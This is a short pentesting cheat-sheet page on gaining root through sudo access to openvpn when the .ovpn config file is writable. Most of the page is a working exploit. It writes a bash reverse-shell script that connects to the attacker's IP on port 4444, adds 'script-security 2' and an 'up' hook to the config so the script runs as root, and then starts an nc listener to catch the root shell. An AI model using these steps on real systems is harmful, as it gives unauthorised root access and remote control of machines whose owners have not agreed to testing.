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Sudo OpenVPN Privilege Escalation

Last modified: 2023-02-17

Sudo openvpn may be vulnerable to privilege escalation.

Investigation

(root) /usr/sbin/openvpn /opt/example.ovpn

If we can execute openvpn command as root and we have a permission of editing the .ovpn file, we can escalate to privilege.

Exploitation

1. Create a Payload

First create a shell script to reverse shell. For example, create /tmp/shell.sh.
Replace <local-ip> with your local ip address.

#!/bin/bash

bash -i >& /dev/tcp/<local-ip>/4444 0>&1

Then change the file permission so that root can execute this script.

chmod +x /tmp/shell.sh

2. Edit .ovpn File

Next edit the .ovpn file.
We need to add "script-security 2" and "up /tmp/shell.sh" into the header.

# /opt/example.ovpn
...
script-security 2
up /tmp/shell.sh

<ca>
-----BEGIN CERTIFICATE-----
...

3. Reverse Shell

In local machine, start a listener.

nc -lvnp 4444

Now execute openvpn command as root.

sudo /usr/sbin/openvpn /opt/example.ovpn

This command executes our shell.sh, so we should get a root shell.

Privilege Escalation

Post Exploitation

Backup

Container

Archive

Attack

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Management

Sudo OpenVPN Privilege Escalation

Investigation

Exploitation

1. Create a Payload

2. Edit .ovpn File

3. Reverse Shell

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